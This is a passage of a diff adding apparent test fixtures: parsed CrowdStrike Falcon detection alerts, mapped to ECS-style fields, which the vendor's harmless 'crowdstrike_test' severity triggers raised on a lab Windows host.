+                "PatternDispositionFlags": {
+                    "BlockingUnsupportedOrDisabled": false,
+                    "BootupSafeguardEnabled": false,
+                    "ContainmentFileSystem": false,
+                    "CriticalProcessDisabled": false,
+                    "Detect": false,
+                    "FsOperationBlocked": false,
+                    "HandleOperationDowngraded": false,
+                    "InddetMask": false,
+                    "Indicator": false,
+                    "KillActionFailed": false,
+                    "KillParent": false,
+                    "KillProcess": false,
+                    "KillSubProcess": false,
+                    "OperationBlocked": false,
+                    "PolicyDisabled": false,
+                    "ProcessBlocked": false,
+                    "QuarantineFile": false,
+                    "QuarantineMachine": false,
+                    "RegistryOperationBlocked": false,
+                    "Rooting": false,
+                    "SensorOnly": false,
+                    "SuspendParent": false,
+                    "SuspendProcess": false
+                },
+                "PatternDispositionValue": 0,
+                "PatternId": 10306,
+                "PlatformId": "0",
+                "PlatformName": "Windows",
+                "SensorId": "cff45d56127743a593792fb968dac907",
+                "Severity": 30,
+                "SeverityName": "Low",
+                "SourceProducts": "Falcon Insight",
+                "SourceVendors": "CrowdStrike",
+                "Tactic": "Falcon Overwatch",
+                "Technique": "Malicious Activity",
+                "Type": "ldt"
+            },
+            "device": {
+                "id": "cff45d56127743a593792fb968dac907"
+            },
+            "event": {
+                "category": [
+                    "malware"
+                ],
+                "kind": "alert",
+                "original": "{\"AgentId\":\"cff45d56127743a593792fb968dac907\",\"AggregateId\":\"aggind:cff45d56127743a593792fb968dac907:42951223180\",\"CommandLine\":\"cmd  crowdstrike_test_low\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43450917603-10306-1941776\",\"DataDomains\":\"Endpoint\",\"Description\":\"A low level detection was triggered on this process for testing purposes.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43450917603-10306-1941776?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"cmd.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"GrandParentCommandLine\":\"cmd  crowdstrike_test_high\",\"GrandParentImageFileName\":\"cmd.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"HostGroups\":\"6b15afc3ea3a42ed810b5c163e490a9d\",\"Hostname\":\"dave-win10-3\",\"LocalIP\":\"10.0.0.13\",\"LocalIPv6\":\"\",\"LogonDomain\":\"dave-win10-3\",\"MACAddress\":\"ba-d0-00-ba-d0-00\",\"MD5String\":\"86920ea0b350c9a3e3752a6aba6e1143\",\"Name\":\"Suspicious Activity\",\"Objective\":\"Falcon Detection Method\",\"ParentCommandLine\":\"cmd  crowdstrike_test_medium\",\"ParentImageFileName\":\"cmd.exe\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"ParentProcessId\":43448891811,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":10306,\"PlatformId\":\"0\",\"PlatformName\":\"Windows\",\"ProcessEndTime\":0,\"ProcessId\":43450917603,\"ProcessStartTime\":1752575368,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06\",\"Severity\":30,\"SeverityName\":\"Low\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Falcon Overwatch\",\"Technique\":\"Malicious Activity\",\"Type\":\"ldt\",\"UserName\":\"win10_user3\",\"ExternalApiType\":\"Event_EppDetectionSummaryEvent\"}",
+                "severity": 21,
+                "type": [
+                    "info"
+                ]
+            },
+            "file": {
+                "directory": "\\Device\\HarddiskVolume4\\Windows\\System32",
+                "hash": {
+                    "md5": "86920ea0b350c9a3e3752a6aba6e1143",
+                    "sha1": "0000000000000000000000000000000000000000",
+                    "sha256": "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06"
+                },
+                "name": "cmd.exe",
+                "path": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe"
+            },
+            "host": {
+                "domain": "dave-win10-3",
+                "hostname": "dave-win10-3",
+                "mac": [
+                    "BA-D0-00-BA-D0-00"
+                ],
+                "name": "dave-win10-3"
+            },
+            "message": "A low level detection was triggered on this process for testing purposes.",
+            "process": {
+                "command_line": "cmd  crowdstrike_test_low",
+                "end": "1970-01-01T00:00:00.000Z",
+                "entity_id": "43450917603",
+                "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
+                "name": "cmd.exe",
+                "parent": {
+                    "entity_id": "43448891811",
+                    "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
+                    "name": "cmd.exe"
+                },
+                "start": "2025-07-15T10:29:28.000Z"
+            },
+            "related": {
+                "hash": [
+                    "0000000000000000000000000000000000000000",
+                    "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06",
+                    "86920ea0b350c9a3e3752a6aba6e1143"
+                ],
+                "hosts": [
+                    "dave-win10-3"
+                ],
+                "ip": [
+                    "10.0.0.13"
+                ],
+                "user": [
+                    "win10_user3"
+                ]
+            },
+            "rule": {
+                "description": "A low level detection was triggered on this process for testing purposes.",
+                "name": "Suspicious Activity"
+            },
+            "source": {
+                "address": "10.0.0.13",
+                "ip": "10.0.0.13"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "name": "win10_user3"
+            }
+        },
+        {
+            "@timestamp": "2020-04-28T11:07:58.223Z",
+            "crowdstrike": {
+                "AggregateId": "aggind:cff45d56127743a593792fb968dac907:42951223180",
+                "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43448891811-10305-1929744",
+                "DataDomains": "Endpoint",
+                "ExternalApiType": "Event_EppDetectionSummaryEvent",
+                "FalconHostLink": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43448891811-10305-1929744?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK",
+                "GrandparentCommandLine": "cmd  crowdstrike_test_critical",
+                "GrandparentImageFileName": "cmd.exe",
+                "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
+                "HostGroups": [
+                    "6b15afc3ea3a42ed810b5c163e490a9d"
+                ],
+                "MACAddress": "ba-d0-00-ba-d0-00",
+                "Objective": "Falcon Detection Method",
+                "ParentCommandLine": "cmd  crowdstrike_test_high",
+                "PatternDispositionDescription": "Detection, standard detection.",
+                "PatternDispositionFlags": {
+                    "BlockingUnsupportedOrDisabled": false,
+                    "BootupSafeguardEnabled": false,
+                    "ContainmentFileSystem": false,
+                    "CriticalProcessDisabled": false,
+                    "Detect": false,
+                    "FsOperationBlocked": false,
+                    "HandleOperationDowngraded": false,
+                    "InddetMask": false,
+                    "Indicator": false,
+                    "KillActionFailed": false,
+                    "KillParent": false,
+                    "KillProcess": false,
+                    "KillSubProcess": false,
+                    "OperationBlocked": false,
+                    "PolicyDisabled": false,
+                    "ProcessBlocked": false,
+                    "QuarantineFile": false,
+                    "QuarantineMachine": false,
+                    "RegistryOperationBlocked": false,
+                    "Rooting": false,
+                    "SensorOnly": false,
+                    "SuspendParent": false,
+                    "SuspendProcess": false
+                },
+                "PatternDispositionValue": 0,
+                "PatternId": 10305,
+                "PlatformId": "0",
+                "PlatformName": "Windows",
+                "SensorId": "cff45d56127743a593792fb968dac907",
+                "Severity": 50,
+                "SeverityName": "Medium",
+                "SourceProducts": "Falcon Insight",
+                "SourceVendors": "CrowdStrike",
+                "Tactic": "Falcon Overwatch",
+                "Technique": "Malicious Activity",
+                "Type": "ldt"
+            },
+            "device": {
+                "id": "cff45d56127743a593792fb968dac907"
+            },
+            "event": {
+                "category": [
+                    "malware"
+                ],
+                "kind": "alert",
+                "original": "{\"AgentId\":\"cff45d56127743a593792fb968dac907\",\"AggregateId\":\"aggind:cff45d56127743a593792fb968dac907:42951223180\",\"CommandLine\":\"cmd  crowdstrike_test_medium\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43448891811-10305-1929744\",\"DataDomains\":\"Endpoint\",\"Description\":\"A medium level detection was triggered on this process for testing purposes.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43448891811-10305-1929744?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"cmd.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"GrandParentCommandLine\":\"cmd  crowdstrike_test_critical\",\"GrandParentImageFileName\":\"cmd.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"HostGroups\":\"6b15afc3ea3a42ed810b5c163e490a9d\",\"Hostname\":\"dave-win10-3\",\"LocalIP\":\"10.0.0.13\",\"LocalIPv6\":\"\",\"LogonDomain\":\"dave-win10-3\",\"MACAddress\":\"ba-d0-00-ba-d0-00\",\"MD5String\":\"645b4fecb42fb954858850fe127ceb98\",\"Name\":\"Suspicious Activity\",\"Objective\":\"Falcon Detection Method\",\"ParentCommandLine\":\"cmd  crowdstrike_test_high\",\"ParentImageFileName\":\"cmd.exe\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"ParentProcessId\":43447659975,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":10305,\"PlatformId\":\"0\",\"PlatformName\":\"Windows\",\"ProcessEndTime\":0,\"ProcessId\":43448891811,\"ProcessStartTime\":1752575354,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06\",\"Severity\":50,\"SeverityName\":\"Medium\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Falcon Overwatch\",\"Technique\":\"Malicious Activity\",\"Type\":\"ldt\",\"UserName\":\"win10_user3\",\"ExternalApiType\":\"Event_EppDetectionSummaryEvent\"}",
+                "severity": 47,
+                "type": [
+                    "info"
+                ]
+            },
+            "file": {
+                "directory": "\\Device\\HarddiskVolume4\\Windows\\System32",
+                "hash": {
+                    "md5": "645b4fecb42fb954858850fe127ceb98",
+                    "sha1": "0000000000000000000000000000000000000000",
+                    "sha256": "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06"
+                },
+                "name": "cmd.exe",
+                "path": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe"
+            },
+            "host": {
+                "domain": "dave-win10-3",
+                "hostname": "dave-win10-3",
+                "mac": [
+                    "BA-D0-00-BA-D0-00"
+                ],
+                "name": "dave-win10-3"
+            },
+            "message": "A medium level detection was triggered on this process for testing purposes.",
+            "process": {
+                "command_line": "cmd  crowdstrike_test_medium",
+                "end": "1970-01-01T00:00:00.000Z",
+                "entity_id": "43448891811",
+                "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
+                "name": "cmd.exe",
+                "parent": {
+                    "entity_id": "43447659975",
+                    "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
+                    "name": "cmd.exe"
+                },
+                "start": "2025-07-15T10:29:14.000Z"
+            },
+            "related": {
+                "hash": [
+                    "0000000000000000000000000000000000000000",
+                    "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06",
+                    "645b4fecb42fb954858850fe127ceb98"
+                ],
+                "hosts": [
+                    "dave-win10-3"
+                ],
+                "ip": [
+                    "10.0.0.13"
+                ],
+                "user": [
+                    "win10_user3"
+                ]
+            },
+            "rule": {
+                "description": "A medium level detection was triggered on this process for testing purposes.",
+                "name": "Suspicious Activity"
+            },
+            "source": {
+                "address": "10.0.0.13",
+                "ip": "10.0.0.13"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "name": "win10_user3"
+            }
+        },
+        {
+            "@timestamp": "2020-04-28T11:07:58.223Z",
+            "crowdstrike": {
+                "AggregateId": "aggind:cff45d56127743a593792fb968dac907:42951223180",
+                "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43447659975-10304-1911824",
+                "DataDomains": "Endpoint",
+                "ExternalApiType": "Event_EppDetectionSummaryEvent",
+                "FalconHostLink": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43447659975-10304-1911824?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK",
+                "GrandparentCommandLine": "\"C:\\Windows\\system32\\cmd.exe\" ",
+                "GrandparentImageFileName": "cmd.exe",
+                "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
+                "HostGroups": [
+                    "6b15afc3ea3a42ed810b5c163e490a9d"
+                ],
+                "MACAddress": "ba-d0-00-ba-d0-00",
+                "Objective": "Falcon Detection Method",
+                "ParentCommandLine": "cmd  crowdstrike_test_critical",
+                "PatternDispositionDescription": "Detection, standard detection.",
+                "PatternDispositionFlags": {
+                    "BlockingUnsupportedOrDisabled": false,
+                    "BootupSafeguardEnabled": false,
+                    "ContainmentFileSystem": false,
+                    "CriticalProcessDisabled": false,
+                    "Detect": false,
+                    "FsOperationBlocked": false,
+                    "HandleOperationDowngraded": false,
+                    "InddetMask": false,
+                    "Indicator": false,
+                    "KillActionFailed": false,
+                    "KillParent": false,
+                    "KillProcess": false,
+                    "KillSubProcess": false,
+                    "OperationBlocked": false,
+                    "PolicyDisabled": false,
+                    "ProcessBlocked": false,
+                    "QuarantineFile": false,
+                    "QuarantineMachine": false,
+                    "RegistryOperationBlocked": false,
+                    "Rooting": false,
+                    "SensorOnly": false,
+                    "SuspendParent": false,
+                    "SuspendProcess": false
+                },
+                "PatternDispositionValue": 0,
+                "PatternId": 10304,
+                "PlatformId": "0",
+                "PlatformName": "Windows",
+                "SensorId": "cff45d56127743a593792fb968dac907",
+                "Severity": 70,
+                "SeverityName": "High",
+                "SourceProducts": "Falcon Insight",
+                "SourceVendors": "CrowdStrike",
+                "Tactic": "Falcon Overwatch",
+                "Technique": "Malicious Activity",
+                "Type": "ldt"
+            },
+            "device": {
+                "id": "cff45d56127743a593792fb968dac907"
+            },
+            "event": {
+                "category": [
+                    "malware"
+                ],
+                "kind": "alert",
+                "original": "{\"AgentId\":\"cff45d56127743a593792fb968dac907\",\"AggregateId\":\"aggind:cff45d56127743a593792fb968dac907:42951223180\",\"CommandLine\":\"cmd  crowdstrike_test_high\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43447659975-10304-1911824\",\"DataDomains\":\"Endpoint\",\"Description\":\"A high level detection was triggered on this process for testing purposes.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43447659975-10304-1911824?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"cmd.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"GrandParentCommandLine\":\"\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\" \",\"GrandParentImageFileName\":\"cmd.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"HostGroups\":\"6b15afc3ea3a42ed810b5c163e490a9d\",\"Hostname\":\"dave-win10-3\",\"LocalIP\":\"10.0.0.13\",\"LocalIPv6\":\"\",\"LogonDomain\":\"dave-win10-3\",\"MACAddress\":\"ba-d0-00-ba-d0-00\",\"MD5String\":\"099d5a3c2f87817751337a9cf8d6a70b\",\"Name\":\"Suspicious Activity\",\"Objective\":\"Falcon Detection Method\",\"ParentCommandLine\":\"cmd  crowdstrike_test_critical\",\"ParentImageFileName\":\"cmd.exe\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"ParentProcessId\":43444774922,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":10304,\"PlatformId\":\"0\",\"PlatformName\":\"Windows\",\"ProcessEndTime\":0,\"ProcessId\":43447659975,\"ProcessStartTime\":1752575345,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06\",\"Severity\":70,\"SeverityName\":\"High\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Falcon Overwatch\",\"Technique\":\"Malicious Activity\",\"Type\":\"ldt\",\"UserName\":\"win10_user3\",\"ExternalApiType\":\"Event_EppDetectionSummaryEvent\"}",
+                "severity": 73,
+                "type": [
+                    "info"
+                ]
+            },
+            "file": {
+                "directory": "\\Device\\HarddiskVolume4\\Windows\\System32",
+                "hash": {
+                    "md5": "099d5a3c2f87817751337a9cf8d6a70b",
+                    "sha1": "0000000000000000000000000000000000000000",
+                    "sha256": "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06"
+                },
+                "name": "cmd.exe",
+                "path": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe"
+            },
+            "host": {
+                "domain": "dave-win10-3",
+                "hostname": "dave-win10-3",
+                "mac": [
+                    "BA-D0-00-BA-D0-00"
+                ],
+                "name": "dave-win10-3"
+            },
+            "message": "A high level detection was triggered on this process for testing purposes.",
+            "process": {
+                "command_line": "cmd  crowdstrike_test_high",
+                "end": "1970-01-01T00:00:00.000Z",
+                "entity_id": "43447659975",
+                "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
+                "name": "cmd.exe",
+                "parent": {
+                    "entity_id": "43444774922",
+                    "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
+                    "name": "cmd.exe"
+                },
+                "start": "2025-07-15T10:29:05.000Z"
+            },
+            "related": {
+                "hash": [
+                    "0000000000000000000000000000000000000000",
+                    "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06",
+                    "099d5a3c2f87817751337a9cf8d6a70b"
+                ],
+                "hosts": [
+                    "dave-win10-3"
+                ],
+                "ip": [
+                    "10.0.0.13"
+                ],
+                "user": [
+                    "win10_user3"
+                ]
+            },
+            "rule": {
+                "description": "A high level detection was triggered on this process for testing purposes.",
+                "name": "Suspicious Activity"
+            },
+            "source": {
+                "address": "10.0.0.13",
+                "ip": "10.0.0.13"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "name": "win10_user3"
+            }
+        },
+        {
+            "@timestamp": "2020-04-28T11:07:58.223Z",
+            "crowdstrike": {
+                "AggregateId": "aggind:cff45d56127743a593792fb968dac907:42951223180",
+                "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43444774922-10303-1888528",
+                "DataDomains": "Endpoint",
+                "ExternalApiType": "Event_EppDetectionSummaryEvent",
+                "FalconHostLink": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43444774922-10303-1888528?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK",
+                "GrandparentCommandLine": "C:\\Windows\\Explorer.EXE",
+                "GrandparentImageFileName": "explorer.exe",
+                "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\explorer.exe",
+                "HostGroups": [
+                    "6b15afc3ea3a42ed810b5c163e490a9d"
+                ],
+                "MACAddress": "ba-d0-00-ba-d0-00",
+                "Objective": "Falcon Detection Method",
+                "ParentCommandLine": "\"C:\\Windows\\system32\\cmd.exe\" ",
+                "PatternDispositionDescription": "Detection, standard detection.",
+                "PatternDispositionFlags": {
+                    "BlockingUnsupportedOrDisabled": false,
+                    "BootupSafeguardEnabled": false,
+                    "ContainmentFileSystem": false,
+                    "CriticalProcessDisabled": false,
+                    "Detect": false,
+                    "FsOperationBlocked": false,
+                    "HandleOperationDowngraded": false,
+                    "InddetMask": false,
+                    "Indicator": false,
+                    "KillActionFailed": false,
+                    "KillParent": false,
+                    "KillProcess": false,
+                    "KillSubProcess": false,
+                    "OperationBlocked": false,
+                    "PolicyDisabled": false,
+                    "ProcessBlocked": false,
+                    "QuarantineFile": false,
+                    "QuarantineMachine": false,
+                    "RegistryOperationBlocked": false,
+                    "Rooting": false,
+                    "SensorOnly": false,
+                    "SuspendParent": false,
+                    "SuspendProcess": false
+                },
+                "PatternDispositionValue": 0,
+                "PatternId": 10303,
+                "PlatformId": "0",
+                "PlatformName": "Windows",
+                "SensorId": "cff45d56127743a593792fb968dac907",
+                "Severity": 90,
+                "SeverityName": "Critical",
+                "SourceProducts": "Falcon Insight",
+                "SourceVendors": "CrowdStrike",
+                "Tactic": "Falcon Overwatch",
+                "Technique": "Malicious Activity",
+                "Type": "ldt"
+            },
+            "device": {
+                "id": "cff45d56127743a593792fb968dac907"
+            },
+            "event": {
+                "category": [
+                    "malware"
+                ],
+                "kind": "alert",
+                "original": "{\"AgentId\":\"cff45d56127743a593792fb968dac907\",\"AggregateId\":\"aggind:cff45d56127743a593792fb968dac907:42951223180\",\"CommandLine\":\"cmd  crowdstrike_test_critical\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43444774922-10303-1888528\",\"DataDomains\":\"Endpoint\",\"Description\":\"A critical level detection was triggered on this process for testing purposes.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43444774922-10303-1888528?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"cmd.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"GrandParentCommandLine\":\"C:\\\\Windows\\\\Explorer.EXE\",\"GrandParentImageFileName\":\"explorer.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\explorer.exe\",\"HostGroups\":\"6b15afc3ea3a42ed810b5c163e490a9d\",\"Hostname\":\"dave-win10-3\",\"LocalIP\":\"10.0.0.13\",\"LocalIPv6\":\"\",\"LogonDomain\":\"dave-win10-3\",\"MACAddress\":\"ba-d0-00-ba-d0-00\",\"MD5String\":\"bd5bfe63bc48507039f7e3afa5b01a70\",\"Name\":\"Suspicious Activity\",\"Objective\":\"Falcon Detection Method\",\"ParentCommandLine\":\"\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\" \",\"ParentImageFileName\":\"cmd.exe\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"ParentProcessId\":43425257674,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":10303,\"PlatformId\":\"0\",\"PlatformName\":\"Windows\",\"ProcessEndTime\":0,\"ProcessId\":43444774922,\"ProcessStartTime\":1752575334,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06\",\"Severity\":90,\"SeverityName\":\"Critical\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Falcon Overwatch\",\"Technique\":\"Malicious Activity\",\"Type\":\"ldt\",\"UserName\":\"win10_user3\",\"ExternalApiType\":\"Event_EppDetectionSummaryEvent\"}",
+                "severity": 99,
+                "type": [
+                    "info"
+                ]
+            },
+            "file": {
+                "directory": "\\Device\\HarddiskVolume4\\Windows\\System32",
+                "hash": {
+                    "md5": "bd5bfe63bc48507039f7e3afa5b01a70",
+                    "sha1": "0000000000000000000000000000000000000000",
+                    "sha256": "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06"
+                },
+                "name": "cmd.exe",
+                "path": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe"
+            },
+            "host": {
+                "domain": "dave-win10-3",
+                "hostname": "dave-win10-3",
+                "mac": [
+                    "BA-D0-00-BA-D0-00"
+                ],
+                "name": "dave-win10-3"
+            },
+            "message": "A critical level detection was triggered on this process for testing purposes.",
+            "process": {
+                "command_line": "cmd  crowdstrike_test_critical",
+                "end": "1970-01-01T00:00:00.000Z",
+                "entity_id": "43444774922",
+                "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
+                "name": "cmd.exe",
+                "parent": {
+                    "entity_id": "43425257674",
+                    "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
+                    "name": "cmd.exe"
+                },
+                "start": "2025-07-15T10:28:54.000Z"
+            },
+            "related": {
+                "hash": [
+                    "0000000000000000000000000000000000000000",
+                    "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06",
+                    "bd5bfe63bc48507039f7e3afa5b01a70"
+                ],
+                "hosts": [
+                    "dave-win10-3"
+                ],
+                "ip": [
+                    "10.0.0.13"
+                ],
+                "user": [
+                    "win10_user3"
+                ]
+            },
+            "rule": {
+                "description": "A critical level detection was triggered on this process for testing purposes.",
+                "name": "Suspicious Activity"
+            },
+            "source": {
+                "address": "10.0.0.13",
+                "ip": "10.0.0.13"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "name": "win10_user3"
+            }
+        },
+        {
+            "@timestamp": "2020-04-28T11:07:58.223Z",
+            "crowdstrike": {
+                "AggregateId": "aggind:cff45d56127743a593792fb968dac907:42950506623",
+                "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43438097407-10197-1874448",
+                "DataDomains": "Endpoint",
+                "ExternalApiType": "Event_EppDetectionSummaryEvent",
